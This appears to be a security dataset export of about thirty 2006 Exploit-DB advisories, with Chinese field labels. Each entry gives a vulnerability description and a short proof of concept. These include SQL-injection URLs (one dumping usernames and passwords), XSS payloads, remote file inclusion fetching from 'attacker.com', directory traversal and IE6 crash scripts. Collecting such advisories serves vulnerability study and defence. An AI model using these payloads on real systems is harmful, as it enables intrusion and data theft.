QLWD/code_shield huggingface dataset:
标题: MySQL 4.x/5.x - Server Date_Format Denial of Service EDB-ID: 28234 CVE: 2006-3469 类型: DOS 平台: LINUX 发布日期: 2006-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/19032/info

MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.

This issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.

Attackers may exploit this issue in conjunction with latent SQL-injection vulnerabilities in other applications.

Versions prior to MySQL 4.1.18, 5.0.19, and 5.1.6 are vulnerable.

The following SQL statement will demonstrate this issue:

select date_format('%d%s', 1); URL: https://www.exploit-db.com/exploits/28234
标题: GeoAuctions 1.0.6 Enterprise - 'index.php?d' SQL Injection EDB-ID: 28249 CVE: 2006-3822 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19093/info

GeodesicSolutions products are prone to multiple SQL-injection vulnerabilities because the applications fail to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Note that these vulnerabilities occur only when the 'accumulative feedback' feature is turned on.

http://www.example.com/GeoAuctionsEnterprise/index.php?a=1030&b=~ID_NUMBER~&d=[SQL] URL: https://www.exploit-db.com/exploits/28249
标题: Microsoft Internet Explorer 6 - DataSourceControl Denial of Service EDB-ID: 28244 CVE: 2006-3729 类型: DOS 平台: WINDOWS 发布日期: 2006-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/19069/info

Internet Explorer is prone to a denial-of-service vulnerability.

An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users.

Internet Explorer 6 SP2 is prone to this issue; other versions may also be vulnerable.

var a = new ActiveXObject('OWC11.DataSourceControl.11'); a.getDataMemberName(-0x80000000); URL: https://www.exploit-db.com/exploits/28244
标题: Geodesic Solutions (Multiple Products) - 'index.php?b' SQL Injection EDB-ID: 28250 CVE: 2006-3823 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19093/info
 
GeodesicSolutions products are prone to multiple SQL-injection vulnerabilities because the applications fail to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Note that these vulnerabilities occur only when the 'accumulative feedback' feature is turned on.

http://www.example.com/GeoAuctions/index.php?a=2&b=[SQL] URL: https://www.exploit-db.com/exploits/28250
标题: Agnitum Outpost Firewall 3.5.631 - 'FiltNT.SYS' Local Denial of Service EDB-ID: 28232 CVE: 2006-3696 类型: DOS 平台: WINDOWS 发布日期: 2006-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19026/info

Outpost Firewall is prone to a local denial-of-service vulnerability.

An attacker can exploit this issue to crash the application, effectively denying service.

Outpost Firewall Pro version 3.5.631 is affected by this issue; other versions may also be vulnerable.

c:\> mshta.exe longgggggggg string URL: https://www.exploit-db.com/exploits/28232
标题: Sunbelt Kerio Personal Firewall 4.3.426 - CreateRemoteThread Denial of Service EDB-ID: 28228 CVE: 2006-3787 类型: DOS 平台: HARDWARE 发布日期: 2006-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/18996/info

Sunbelt Kerio Personal Firewall is prone to a denial-of-service vulnerability. This issue can occur when a program calls the 'CreateRemoteThread' Windows API call.

Exploitation of this vulnerability could cause the firewall application to crash. This could expose the computer to further attacks.

The individual who discovered this vulnerability claims to have tested it on Sunbelt Kerio Personal Firewall versions 4.3.246 and 4.2.3.912. They were unable to reproduce the vulnerability on version 4.2.3.912, which is an older release. The vulnerable functionality may have been introduced at some point after the 4.2.3.912 release, but this has not been confirmed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28228.zip URL: https://www.exploit-db.com/exploits/28228
标题: D-Link Routers - UPNP Buffer Overflow EDB-ID: 28230 CVE: 2006-3687 类型: DOS 平台: HARDWARE 发布日期: 2006-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19006/info

D-Link wired and wireless routers are prone to a buffer-overflow vulnerability because these devices fail to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Successful exploits can allow remote attackers to execute arbitrary machine code in the context of the affected device.

Attackers can exploit this issue by sending a request of the form:

M-SEARCH <800 byte string> HTTP/1.0

to UDP port 1900. URL: https://www.exploit-db.com/exploits/28230
标题: ListMessenger 0.9.3 - 'LM_Path' Remote File Inclusion EDB-ID: 28231 CVE: 2006-3692 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19014/info

ListMessenger is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.9.3; other versions may also be vulnerable.

Further reports indicate the vulnerable parameter is defined with a hard-coded value and is therefore not vulnerable.

NOTE: This issue is being retired.

http://www.example.com/[path]/enduser/listmessenger.php?lm_path=evil_script? URL: https://www.exploit-db.com/exploits/28231
标题: Microsoft Works 8.0 Spreadsheet - Multiple Vulnerabilities EDB-ID: 28222 CVE: 2006-3653 类型: DOS 平台: WINDOWS 发布日期: 2006-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18989/info

The spreadsheet component of Microsoft Works is prone to multiple remote vulnerabilities, including buffer-overflow and denial-of service issues. 

These issues occur because the application fails to handle specifically crafted spreadsheet documents when importing them into Microsoft Works. 

These vulnerabilities allow remote attackers to execute arbitrary machine code in the context of affected application. Attackers may also crash vulnerable applications, denying service to legitimate users.

Microsoft Works version 8.0 is vulnerable to these issues; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28222.zip URL: https://www.exploit-db.com/exploits/28222
标题: KDE Konqueror 3.5.x - ReplaceChild Denial of Service EDB-ID: 28220 CVE: 2006-3672 类型: DOS 平台: LINUX 发布日期: 2006-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18978/info

KDE Konqueror is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Konqueror, effectively denying service to legitimate users.

document.replaceChild(0); URL: https://www.exploit-db.com/exploits/28220
标题: Subberz Lite - UserFunc Remote File Inclusion EDB-ID: 28223 CVE: 2006-3689 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18990/info

SubberZ[Lite] is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com[site]/[path]/user-func.php?myadmindir=[Shell] URL: https://www.exploit-db.com/exploits/28223
标题: Mambo Module Calendar 1.5.7 - 'Com_Calendar.php' Remote File Inclusion EDB-ID: 28233 CVE: 2006-3843 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19027/info

The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.7; other versions may also be vulnerable.

http://www.example.com/[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt? URL: https://www.exploit-db.com/exploits/28233
标题: Dream4 Koobi Pro 5.6 - 'showtopic' SQL Injection EDB-ID: 28219 CVE: 2006-3621 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18970/info
 
Koobi Pro prone to a cross-site scripting issue and an SQL-injection issue because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/index.php?showtopic=[SQL] URL: https://www.exploit-db.com/exploits/28219
标题: FlatNuke 2.5.7 - 'index.php' Remote File Inclusion EDB-ID: 28216 CVE: 2006-3608 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18966/info

FlatNuke is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.5.7 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/[path_to_flatnuke]/index.php?mod=Gallery URL: https://www.exploit-db.com/exploits/28216
标题: Lazarus Guestbook 1.6 - 'picture.php?img' Cross-Site Scripting EDB-ID: 28212 CVE: 2006-3616 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18956/info
 
Lazarus Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 1.6; other versions may also be vulnerable.

http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS] 
http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28212
标题: Lazarus Guestbook 1.6 - 'codes-english.php?show' Cross-Site Scripting EDB-ID: 28211 CVE: 2006-3616 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18956/info

Lazarus Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 1.6; other versions may also be vulnerable.

http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS] 
http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28211
标题: PhotoCycle 1.0 - 'PhotoCycle.php' Cross-Site Scripting EDB-ID: 28214 CVE: 2006-3680 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18964/info

Photocycle is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/photocycle.php?phpage=<script%20src=http://www.youfucktard.com/xss.js></script> URL: https://www.exploit-db.com/exploits/28214
标题: FlexWATCH Network Camera - Cross-Site Scripting EDB-ID: 28205 CVE: 2006-3603 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/18936/info

FlexWATCH Network Camera is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

FlexWATCH 3.0 and prior versions are affected.

http://www.example.com/camera/%3Cscript%3Ealert('www.eazel.es')%3C/script%3E ] URL: https://www.exploit-db.com/exploits/28205
标题: Microsoft Internet Explorer 6 - 'HtmlDlgSafeHelper' Remote Denial of Service EDB-ID: 28202 CVE: 2006-3511 类型: DOS 平台: WINDOWS 发布日期: 2006-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/18929/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject('HtmlDlgSafeHelper.HtmlDlgSafeHelper');
 a.fonts = "Goodbye!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28202
标题: Fantastic Guestbook 2.0.1 - 'Guestbook.php' HTML Injection EDB-ID: 28206 CVE: 2006-3568 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/18942/info

Fantastic GuestBook is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

If a malicious people go into the sign in form and put in the fields First Name, Last Name and Nick Name a code like this: <script>alert("XSS")</script> when you load the page http://www.example.com/[path]/guestbook.php or you read the messages of the guestbook you will se a pop-up that "say" 'XSS'. ] URL: https://www.exploit-db.com/exploits/28206
标题: FLV Players 8 - 'popup.php?url' Cross-Site Scripting EDB-ID: 28210 CVE: 2006-3624 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18954/info
 
FLV Player is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
This issue affects version 8; other versions may also be vulnerable.

http://www.example.com/flv8/popup.php?url=%3C/title%3E[XSS] 
http://www.example.com/flv8/popup.php?url=%22%3E%3C[XSS] URL: https://www.exploit-db.com/exploits/28210
标题: FlexWATCH 3.0 - 'AIndex.asp' Authentication Bypass EDB-ID: 28208 CVE: 2006-3604 类型: WEBAPPS 平台: ASP 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18948/info

FlexWatch is prone to an authorization-bypass vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

An attacker can exploit this issue to bypass the authorization mechanism. This allows the attacker to gain unauthorized access to the surveillance system.

Versions 3.0 and prior are affected.

An attacker can bypass the protection of protected pages using /..%2f and access to administrative area: Network Camera V3.0: http:www.exampe.com//camera/..%2fadmin/aindex.asp Networks Camera Prior versions: http://www.example.com/camera/app/..%2fadmin/aindex.htm URL: https://www.exploit-db.com/exploits/28208
标题: FLV Players 8 - 'player.php?url' Cross-Site Scripting EDB-ID: 28209 CVE: 2006-3624 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18954/info

FLV Player is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 8; other versions may also be vulnerable.

http://www.example.com/flv8/player.php?url=[XSS] URL: https://www.exploit-db.com/exploits/28209
标题: SaPHPLesson 2.0 - 'add.php' SQL Injection EDB-ID: 28204 CVE: 2006-2835 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/18934/info

SaPHPLesson is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/story/add.php?forumid=[SQL Injection] URL: https://www.exploit-db.com/exploits/28204
标题: Microsoft Internet Explorer 6 - TriEditDocument Denial of Service EDB-ID: 28207 CVE: 2006-3591 类型: DOS 平台: WINDOWS 发布日期: 2006-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/18946/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject('TriEditDocument.TriEditDocument');
 a.URL = "Boom!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28207
标题: Microsoft Internet Explorer 6 - RevealTrans Denial of Service EDB-ID: 28213 CVE: 2006-3605 类型: DOS 平台: WINDOWS 发布日期: 2006-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18960/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject('DXImageTransform.Microsoft.RevealTrans.1');
 a.Transition = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28213
标题: Farsinews 3.0 - 'Tiny_mce_gzip.php' Directory Traversal EDB-ID: 28200 CVE: 2006-3602 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/18925/info

Farsinews is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Farsinews 3.0BETA1 is reported vulnerable; other versions may also be affected.

http://www.example.com/jscripts/tiny_mce/tiny_mce_gzip.php?language=../../../../.htaccess%00&theme=advanced URL: https://www.exploit-db.com/exploits/28200
标题: Microsoft Internet Explorer 6 - DirectAnimation.DAUserData Denial of Service EDB-ID: 28196 CVE: 2006-3513 类型: DOS 平台: WINDOWS 发布日期: 2006-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18902/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website that uses the 'DirectAnimation.DAUserData' object in a malicious manner.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject('DirectAnimation.DAUserData');
 a.Data = 'Hello';
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28196
标题: Webvizyon - 'SayfalaAltList.asp' SQL Injection EDB-ID: 28193 CVE: 2006-3518 类型: WEBAPPS 平台: ASP 发布日期: 2006-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18899/info

Webvizyon is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/SayfalaAltList.asp?ID=-1 UNION ALL SELECT 0,kullaniciadi,sifre FROM uyeler URL: https://www.exploit-db.com/exploits/28193
标题: Graffiti Forums 1.0 - 'Topics.php' SQL Injection EDB-ID: 28201 CVE: 2006-3560 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/18928/info

Graffiti Forums is prone to an SQL-injection vulnerability. 

This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/topics.php?f=-1 union all select version()--
http://www.example.com/topics.php?f=-1 union ll select database()--
http://www.example.com/topics.php?f=-1 union all select user()-- URL: https://www.exploit-db.com/exploits/28201